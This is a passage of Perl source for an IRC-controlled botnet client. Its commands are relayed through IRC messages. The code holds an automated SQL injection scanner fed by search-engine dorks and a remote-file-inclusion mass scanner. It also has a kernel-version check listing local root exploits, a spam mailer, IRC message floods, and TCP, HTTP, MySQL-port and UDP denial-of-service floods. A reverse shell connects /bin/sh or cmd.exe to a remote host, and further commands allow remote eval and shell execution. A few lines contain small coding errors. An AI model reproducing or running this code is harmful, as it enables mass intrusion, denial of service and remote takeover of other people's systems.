  585. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  586. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  587. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  588. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  589. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  590. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  591. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  592. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 UoL 7[".scalar(@ulist)."7] Sites");
  593. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 FireBall 7[".scalar(@flist)."7] Sites");
  594. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  595. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Filtruje4 ][ ".scalar(@tot)." 12Stron4 ] ");
  596. my @puliti=&unici(@tot);
  597. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ SQL ] [ 12$dork4 ][ ".scalar(@puliti)." 12Stron4 ] ");
  598. my $uni=scalar(@puliti);
  599. foreach my $sito (@puliti) {
  600. $contatore++;
  601. if ($contatore %5==0){
  602. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Skanuje4 ][ ".$contatore." 12z4 ".$uni. " 12Stron4 ] ");
  603. }
  604. sleep 3;
  605. if ($contatore==$uni-1){
  606. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Koniec:4 $bug $dork ] ");
  607. }
  608. sleep 3;
  609. my $site="http://".$sito.$bug;
  610. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  611. $w=int rand(999);
  612. $w=$w*1000;
  613. for($i=1;$i<=$columns;$i++) {
  614. splice(@col,0,$#col+1);
  615. for($j=1;$j<=$i;$j++) {
  616. push(@col,$w+$j);
  617. }
  618. $tmp=join(",",@col);
  619. $test=$site."-1+UNION+SELECT+".$tmp."/*";
  620. print $test."\n";
  621. $result=get_html($test);
  622. $result =~ s/\/\*\*\///g;
  623. $result =~ s/UNION([^(\*)]*)//g;
  624. for($k=1;$k<=$i;$k++) {
  625. $n=$w+$k;
  626. if($result =~ /$n/){
  627. splice(@col2,0,$#col2+1);
  628. for($s=1;$s<=$i;$s++) {
  629. push(@col2,$s);
  630. }
  631. $tmp2=join(",",@col2);
  632. $test2="+UNION+SELECT+".$tmp2."/*";
  633. push @{$dane{$test2}},$k;
  634. }
  635. }
  636. }
  637. for $klucz (keys %dane) {
  638. foreach $i(@{$dane{$klucz}}) {
  639. $klucz =~ s/$i/$i/;
  640. }
  641. sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [ ".$site."-1".$klucz." ]  ");
  642. }
  643. %dane=();
  644. }
  645. }
  646. delproc($$);
  647. exit;
  648. }
  649. }
  650. ####### SQL SCANNER #########
  651. if ($funcarg =~ /^autoscan\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){
  652. if (my $pid = fork) {
  653. waitpid($pid, 0);
  654. } else {
  655. if (my $d=fork()) {
  656. addproc($d,"[String] $2");
  657. exit;
  658. } else {
  659. $kto = $1;
  660. $host = $2;
  661. $skrypt = $3;
  662. $czekac=$4;
  663. #http://ttl.ugu.pl/string/index.php
  664. my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return;
  665. print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  666. my @r = <$socke>;
  667. $page="@r";
  668. $page =~ s/!scan(\s+)//g;
  669. $page =~ s/!scan(.)//g;
  670. $page =~ s/\<.*\>//g;
  671. @lines = split (/\n/, $page);
  672. $ile=scalar(@lines);
  673. for($i=9;$i<=$ile;$i+=4) {
  674. for($j=0;$j<4;$j++) {
  675. #print $lines[$i+$j]."\n";
  676. sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]");
  677. sleep 10;
  678. }
  679. sleep $czekac*60;
  680. }
  681. }
  682. delproc($$);
  683. exit;
  684. }
  685. }
  686. ####### SQL SCANNER #########
  687. if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){
  688. if (my $pid = fork()) {
  689. waitpid($pid, 0);
  690. } else {
  691. if (my $d=fork()) {
  692. addproc($d,"[SQL1] $1 $2");
  693. exit;
  694. } else {
  695. my $site=$1;
  696. my $columns=$2;
  697. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  698. $w=int rand(999);
  699. $w=$w*1000;
  700. for($i=1;$i<=$columns;$i++) {
  701. splice(@col,0,$#col+1);
  702. for($j=1;$j<=$i;$j++) {
  703. push(@col,$w+$j);
  704. }
  705. $tmp=join(",",@col);
  706. $test=$site.$bug."-1+UNION+SELECT+".$tmp."/*";
  707. #$result=query($test);
  708. $result=get_html($test);
  709. $result =~ s/\/\*\*\///g;
  710. $result =~ s/UNION([^(\*)]*)//g;
  711. for($k=1;$k<=$i;$k++) {
  712. $n=$w+$k;
  713. if($result =~ /$n/){
  714. splice(@col2,0,$#col2+1);
  715. for($s=1;$s<=$i;$s++) {
  716. push(@col2,$s);
  717. }
  718. $tmp2=join(",",@col2);
  719. $test2="+UNION+SELECT+".$tmp2."/*";
  720. push @{$dane{$test2}},$k;
  721. }
  722. }
  723. }
  724. for $klucz (keys %dane) {
  725. foreach $i(@{$dane{$klucz}}) {
  726. $klucz =~ s/$i/$i/;
  727. }
  728. sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [ ".$site.$bug."-1".$klucz." ]  ");
  729. }
  730. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Koniec 4 ] ");
  731. }
  732. delproc($$);
  733. exit;
  734. }
  735. }
  736. ####### SQL SCANNER #########
  737. ######################
  738. # Rootable #
  739. ######################
  740. if ($funcarg =~ /^rootable/) {
  741. my $khost = `uname -r`;
  742. my $currentid = `whoami`;
  743. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Currently you are ".$currentid." ");
  744. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] The kernel of this box is ".$khost." ");
  745. chomp($khost);
  746. my %h;
  747. $h{'w00t'} = {
  748. vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']
  749. };
  750. $h{'brk'} = {
  751. vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']
  752. };
  753. $h{'ave'} = {
  754. vuln=>['2.4.19','2.4.20']
  755. };
  756. $h{'elflbl'} = {
  757. vuln=>['2.4.29']
  758. };
  759. $h{'elfdump'} = {
  760. vuln=>['2.4.27']
  761. };
  762. $h{'expand_stack'} = {
  763. vuln=>['2.4.29']
  764. };
  765. $h{'h00lyshit'} = {
  766. vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
  767. };
  768. $h{'kdump'} = {
  769. vuln=>['2.6.13']
  770. };
  771. $h{'km2'} = {
  772. vuln=>['2.4.18','2.4.22']
  773. };
  774. $h{'krad'} = {
  775. vuln=>['2.6.11']
  776. };
  777. $h{'krad3'} = {
  778. vuln=>['2.6.11','2.6.9']
  779. };
  780. $h{'local26'} = {
  781. vuln=>['2.6.13']
  782. };
  783. $h{'loko'} = {
  784. vuln=>['2.4.22','2.4.23','2.4.24']
  785. };
  786. $h{'mremap_pte'} = {
  787. vuln=>['2.4.20','2.2.25','2.4.24']
  788. };
  789. $h{'newlocal'} = {
  790. vuln=>['2.4.17','2.4.19','2.4.18']
  791. };
  792. $h{'ong_bak'} = {
  793. vuln=>['2.4.','2.6.']
  794. };
  795. $h{'ptrace'} = {
  796. vuln=>['2.2.','2.4.22']
  797. };
  798. $h{'ptrace_kmod'} = {
  799. vuln=>['2.4.2']
  800. };
  801. $h{'ptrace24'} = {
  802. vuln=>['2.4.9']
  803. };
  804. $h{'pwned'} = {
  805. vuln=>['2.4.','2.6.']
  806. };
  807. $h{'py2'} = {
  808. vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']
  809. };
  810. $h{'raptor_prctl'} = {
  811. vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']
  812. };
  813. $h{'prctl3'} = {
  814. vuln=>['2.6.13','2.6.17','2.6.9']
  815. };
  816. $h{'remap'} = {
  817. vuln=>['2.4.']
  818. };
  819. $h{'rip'} = {
  820. vuln=>['2.2.']
  821. };
  822. $h{'stackgrow2'} = {
  823. vuln=>['2.4.29','2.6.10']
  824. };
  825. $h{'uselib24'} = {
  826. vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']
  827. };
  828. $h{'newsmp'} = {
  829. vuln=>['2.6.']
  830. };
  831. $h{'smpracer'} = {
  832. vuln=>['2.4.29']
  833. };
  834. $h{'loginx'} = {
  835. vuln=>['2.4.22']
  836. };
  837. $h{'exp.sh'} = {
  838. vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']
  839. };
  840. $h{'prctl'} = {
  841. vuln=>['2.6.']
  842. };
  843. $h{'kmdx'} = {
  844. vuln=>['2.6.','2.4.']
  845. };
  846. $h{'raptor'} = {
  847. vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  848. };
  849. $h{'raptor2'} = {
  850. vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  851. };
  852. foreach my $key(keys %h){
  853. foreach my $kernel ( @{ $h{$key}{'vuln'} } ){
  854. if($khost=~/^$kernel/){
  855. chop($kernel) if ($kernel=~/.$/);
  856. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Possible Local Root Exploits: ". $key ." ");
  857. }
  858. }
  859. }
  860. }
  861. ######################
  862. # MAILER #
  863. ######################
  864. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  865. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12] Mailer :. | Sending Mail to : 2 $3");
  866. $subject = $1;
  867. $sender = $2;
  868. $recipient = $3;
  869. @corpo = $4;
  870. $mailtype = "content-type: text/html";
  871. $sendmail = '/usr/sbin/sendmail';
  872. open (SENDMAIL, "| $sendmail -t");
  873. print SENDMAIL "$mailtype\n";
  874. print SENDMAIL "Subject: $subject\n";
  875. print SENDMAIL "From: $sender\n";
  876. print SENDMAIL "To: $recipient\n\n";
  877. print SENDMAIL "@corpo\n\n";
  878. close (SENDMAIL);
  879. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12] Mailer :. | Mail Sent To : 2 $recipient");
  880. }
  881. ######################
  882. # End of MAILER #
  883. ######################
  884. # A /tmp cleaner
  885. if ($funcarg =~ /^cleartmp/) {
  886. system 'cd /tmp;rm -rf *';
  887. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  888. }
  889. #-#-#-#-#-#-#-#-#
  890. # Flooders IRC #
  891. #-#-#-#-#-#-#-#-#
  892. # msg, @msgflood <who>
  893. if ($funcarg =~ /^msgflood (.+?) (.*)/) {
  894. for($i=0; $i<=10; $i+=1){
  895. sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2);
  896. }
  897. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3MSGFlood12]14 Excecuted on ".$1." ");
  898. }
  899. # dccflood, @dccflood <who>
  900. if ($funcarg =~ /^dccflood (.*)/) {
  901. for($i=0; $i<=10; $i+=1){
  902. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n");
  903. }
  904. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3DCCFlood12]14 Excecuted on ".$1." ");
  905. }
  906. # ctcpflood, @ctcpflood <who>
  907. if ($funcarg =~ /^ctcpflood (.*)/) {
  908. for($i=0; $i<=10; $i+=1){
  909. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  910. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  911. }
  912. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3CTCPFlood12]14 Excecuted on ".$1." ");
  913. }
  914. # noticeflood, @noticeflood <who>
  915. if ($funcarg =~ /^noticeflood (.*)/) {
  916. for($i=0; $i<=10; $i+=1){
  917. sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFL00D\n");
  918. }
  919. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3NoticeFlood12]14 Excecuted on ".$1." ");
  920. }
  921. # Channel Flood, @channelflood
  922. if ($funcarg =~ /^channelflood/) {
  923. for($i=0; $i<=25; $i+=1){
  924. sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) );
  925. }
  926. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3ChannelFlood12]14 Excecuted ");
  927. }
  928. # Maxi Flood, @maxiflood
  929. if ($funcarg =~ /^maxiflood(.*)/) {
  930. for($i=0; $i<=15; $i+=1){
  931. sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFl00D\n");
  932. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  933. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  934. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :w3tFl00D\n");
  935. }
  936. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3M4Xi-Fl00d12]14 Excecuted on ".$1." ");
  937. }
  938. ######################
  939. # irc #
  940. ######################
  941. if ($funcarg =~ /^reset/) {
  942. sendraw($IRC_cur_socket, "QUIT :");
  943. }
  944. if ($funcarg =~ /^join (.*)/) {
  945. sendraw($IRC_cur_socket, "JOIN ".$1);
  946. }
  947. if ($funcarg =~ /^part (.*)/) {
  948. sendraw($IRC_cur_socket, "PART ".$1);
  949. }
  950. if ($funcarg =~ /^voice (.*)/) {
  951. sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
  952. }
  953. if ($funcarg =~ /^devoice (.*)/) {
  954. sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
  955. }
  956. if ($funcarg =~ /^halfop (.*)/) {
  957. sendraw($IRC_cur_socket, "MODE $printl +h ".$1);
  958. }
  959. if ($funcarg =~ /^dehalfop (.*)/) {
  960. sendraw($IRC_cur_socket, "MODE $printl -h ".$1);
  961. }
  962. if ($funcarg =~ /^owner (.*)/) {
  963. sendraw($IRC_cur_socket, "MODE $printl +q ".$1);
  964. }
  965. if ($funcarg =~ /^deowner (.*)/) {
  966. sendraw($IRC_cur_socket, "MODE $printl -q ".$1);
  967. }
  968. if ($funcarg =~ /^op (.*)/) {
  969. sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
  970. }
  971. if ($funcarg =~ /^deop (.*)/) {
  972. sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
  973. }
  974. ######################
  975. #End of Join And Part#
  976. ######################
  977. ######################
  978. # TCPFlood #
  979. ######################
  980. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  981. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TCP-DDOS12] Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
  982. my $itime = time;
  983. my ($cur_time);
  984. $cur_time = time - $itime;
  985. while ($3>$cur_time){
  986. $cur_time = time - $itime;
  987. &tcpflooder("$1","$2","$3");
  988. }
  989. sendraw($IRC_cur_socket,"PRIVMSG $printl :12[4@3TCP-DDOS12] Attack done 4 ".$1.":".$2.".");
  990. }
  991. ######################
  992. # End of TCPFlood #
  993. ######################
  994. ######################
  995. # SQL Fl00dEr #
  996. ######################
  997. if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {
  998. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking 4 ".$1." 12 on port 3306 for 4 ".$2." 12 seconds .");
  999. my $itime = time;
  1000. my ($cur_time);
  1001. $cur_time = time - $itime;
  1002. while ($2>$cur_time){
  1003. $cur_time = time - $itime;
  1004. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
  1005. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1006. close($socket);
  1007. }
  1008. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking done 4 ".$1.".");
  1009. }
  1010. ######################
  1011. # Back Connect #
  1012. ######################
  1013. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  1014. my $host = "$1";
  1015. my $porta = "$2";
  1016. my $proto = getprotobyname('tcp');
  1017. my $iaddr = inet_aton($host);
  1018. my $paddr = sockaddr_in($porta, $iaddr);
  1019. my $shell = "/bin/sh -i";
  1020. if ($^O eq "MSWin32") {
  1021. $shell = "cmd.exe";
  1022. }
  1023. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  1024. connect(SOCKET, $paddr) or die "connect: $!";
  1025. open(STDIN, ">&SOCKET");
  1026. open(STDOUT, ">&SOCKET");
  1027. open(STDERR, ">&SOCKET");
  1028. system("$shell");
  1029. close(STDIN);
  1030. close(STDOUT);
  1031. close(STDERR);
  1032. if ($estatisticas){
  1033. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12] Connecting to 4 $host:$porta");
  1034. }
  1035. }
  1036. ######################
  1037. #End of Back Connect#
  1038. ######################
  1039. ######################
  1040. # MULTI SCANNER #
  1041. ######################
  1042. if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){
  1043. if (my $pid = fork) {
  1044. waitpid($pid, 0);
  1045. } else {
  1046. if (fork) {
  1047. exit;
  1048. } else {
  1049. my $bug=$1;
  1050. my $dork=$2;
  1051. my $contatore=0;
  1052. my ($type,$space);
  1053. my %hosts;
  1054. ### Start Message
  1055. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Starting Scan for 4$bug $dork");
  1056. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Initializing on 45 12Search Engines ");
  1057. ### End of Start Message
  1058. # Starting Google
  1059. my @glist=&google($dork);
  1060. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1061. my @mlist=&msn($dork);
  1062. my @asklist=&ask($dork);
  1063. my @allist=&alltheweb($dork);
  1064. my @aollist=&aol($dork);
  1065. my @lycos=&lycos($dork);
  1066. my @ylist=&yahoo($dork);
  1067. my @mzlist=&mozbot($dork);
  1068. my @mamalist&mamma($dork);
  1069. my @hlist=&hotbot($dork);
  1070. my @altlist=&altavista($dork);
  1071. my @slist=&search($dork);
  1072. my @ulist=&uol($dork);
  1073. my @fireball=&fireball($dork);
  1074. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1075. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MSN 7[".scalar(@mlist)."7] Sites");
  1076. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  1077. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  1078. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AOL 7[".scalar(@aollist)."7] Sites");
  1079. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  1080. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  1081. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  1082. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  1083. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  1084. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  1085. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  1086. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 UoL 7[".scalar(@ulist)."7] Sites");
  1087. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 FireBall 7[".scalar(@flist)."7] Sites");
  1088. #
  1089. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  1090. my @puliti=&unici(@tot);
  1091. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Results: Total:7[".scalar(@tot)."7] Sites and Cleaned: 7[".scalar(@puliti)."7] for $dork ");
  1092. my $uni=scalar(@puliti);
  1093. foreach my $sito (@puliti)
  1094. {
  1095. $contatore++;
  1096. if ($contatore %100==0){
  1097. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Exploiting 7[".$contatore."7] of 7[".$uni. "7] Sites");
  1098. }
  1099. if ($contatore==$uni-1){
  1100. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Finished for $dork");
  1101. }
  1102. ### Print CMD and TEST CMD###
  1103. my $test="http://".$sito.$bug.$id."?";
  1104. my $print="http://".$sito.$bug.$cmd."?";
  1105. ### End of Print CMD and TEST CMD###
  1106. my $req=HTTP::Request->new(GET=>$test);
  1107. my $ua=LWP::UserAgent->new();
  1108. $ua->timeout(4);
  1109. my $response=$ua->request($req);
  1110. if ($response->is_success) {
  1111. my $re=$response->content;
  1112. if($re =~ /Mic22/ && $re =~ /uid=/){
  1113. my $hs=geths($print); $hosts{$hs}++;
  1114. if($hosts{$hs}=="1"){
  1115. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Safe Mode = OFF :. | Vuln: $print ");
  1116. }}
  1117. elsif($re =~ /Mic22/)
  1118. {
  1119. my $hs=geths($print); $hosts{$hs}++;
  1120. if($hosts{$hs}=="1"){
  1121. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Safe Mode = ON :. | Vuln: $print ");
  1122. }}
  1123. }}}
  1124. exit;
  1125. }}}
  1126. ######################
  1127. #End of MultiSCANNER #
  1128. ######################
  1129. ######################
  1130. # HTTPFlood #
  1131. ######################
  1132. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1133. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
  1134. my $itime = time;
  1135. my ($cur_time);
  1136. $cur_time = time - $itime;
  1137. while ($2>$cur_time){
  1138. $cur_time = time - $itime;
  1139. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1140. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1141. close($socket);
  1142. }
  1143. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking done 4 ".$1.".");
  1144. }
  1145. ######################
  1146. # End of HTTPFlood #
  1147. ######################
  1148. ######################
  1149. # UDPFlood #
  1150. ######################
  1151. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1152. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3UDP DDoS12:.4|12 Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds.");
  1153. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1154. $dtime = 1 if $dtime == 0;
  1155. my %bytes;
  1156. $bytes{igmp} = $2 * $pacotes{igmp};
  1157. $bytes{icmp} = $2 * $pacotes{icmp};
  1158. $bytes{o} = $2 * $pacotes{o};
  1159. $bytes{udp} = $2 * $pacotes{udp};
  1160. $bytes{tcp} = $2 * $pacotes{tcp};
  1161. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3UDP-DDos12]12 12Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
  1162. }
  1163. ######################
  1164. # End of Udpflood #
  1165. ######################
  1166. exit;
  1167. }
  1168. }
  1169. sub ircase {
  1170. my ($kem, $printl, $case) = @_;
  1171. if ($case =~ /^join (.*)/) {
  1172. j("$1");
  1173. }
  1174. if ($case =~ /^part (.*)/) {
  1175. p("$1");
  1176. }
  1177. if ($case =~ /^rejoin\s+(.*)/) {
  1178. my $chan = $1;
  1179. if ($chan =~ /^(\d+) (.*)/) {
  1180. for (my $ca = 1; $ca <= $1; $ca++ ) {
  1181. p("$2");
  1182. j("$2");
  1183. }
  1184. } else {
  1185. p("$chan");
  1186. j("$chan");
  1187. }
  1188. }
  1189. if ($case =~ /^op/) {
  1190. op("$printl", "$kem") if $case eq "op";
  1191. my $oarg = substr($case, 3);
  1192. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1193. }
  1194. if ($case =~ /^deop/) {
  1195. deop("$printl", "$kem") if $case eq "deop";
  1196. my $oarg = substr($case, 5);
  1197. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1198. }
  1199. if ($case =~ /^msg\s+(\S+) (.*)/) {
  1200. msg("$1", "$2");
  1201. }
  1202. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1203. for (my $cf = 1; $cf <= $1; $cf++) {
  1204. msg("$2", "$3");
  1205. }
  1206. }
  1207. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1208. ctcp("$1", "$2");
  1209. }
  1210. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1211. for (my $cf = 1; $cf <= $1; $cf++) {
  1212. ctcp("$2", "$3");
  1213. }
  1214. }
  1215. if ($case =~ /^nick (.*)/) {
  1216. nick("$1");
  1217. }
  1218. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1219. conectar("$2", "$1", 6667);
  1220. }
  1221. if ($case =~ /^raw (.*)/) {
  1222. sendraw("$1");
  1223. }
  1224. if ($case =~ /^eval (.*)/) {
  1225. eval "$1";
  1226. }
  1227. }
  1228. sub get_html() {
  1229. $test=$_[0];
  1230. $ip=$_[1];
  1231. $port=$_[2];
  1232. my $req=HTTP::Request->new(GET=>$test);
  1233. my $ua=LWP::UserAgent->new();
  1234. if(defined($ip) && defined($port)) {
  1235. $ua->proxy("http","http://$ip:$port/");
  1236. $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  1237. }
  1238. $ua->timeout(1);
  1239. my $response=$ua->request($req);
  1240. if ($response->is_success) {
  1241. $re=$response->content;
  1242. }
  1243. return $re;
  1244. }
  1245. sub addproc {
  1246. my $proc=$_[0];
  1247. my $dork=$_[1];
  1248. open(FILE,">>/var/tmp/pids");
  1249. print FILE $proc." [".$irc_servers{$IRC_cur_socket}{'nick'}."] $dork\n";
  1250. close(FILE);
  1251. }
  1252. sub delproc {
  1253. my $proc=$_[0];
  1254. open(FILE,"/var/tmp/pids");
  1255. while(<FILE>) {
  1256. $_ =~ /(\d+)\s+(.*)/;
  1257. $childs{$1}=$2;
  1258. }
  1259. close(FILE);
  1260. delete($childs{$proc});
  1261. open(FILE,">/var/tmp/pids");
  1262. for $klucz (keys %childs) {
  1263. print FILE $klucz." ".$childs{$klucz}."\n";
  1264. }
  1265. }
  1266. sub shell {
  1267. my $printl=$_[0];
  1268. my $comando=$_[1];
  1269. if ($comando =~ /cd (.*)/) {
  1270. chdir("$1") || msg("$printl", "No such file or directory");
  1271. return;
  1272. } elsif ($pid = fork) {
  1273. waitpid($pid, 0);
  1274. } else {
  1275. if (fork) {
  1276. exit;
  1277. } else {
  1278. my @resp=`$comando 2>&1 3>&1`;
  1279. my $c=0;
  1280. foreach my $linha (@resp) {
  1281. $c++;
  1282. chop $linha;
  1283. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1284. if ($c == "$linas_max") {
  1285. $c=0;
  1286. sleep $sleep;
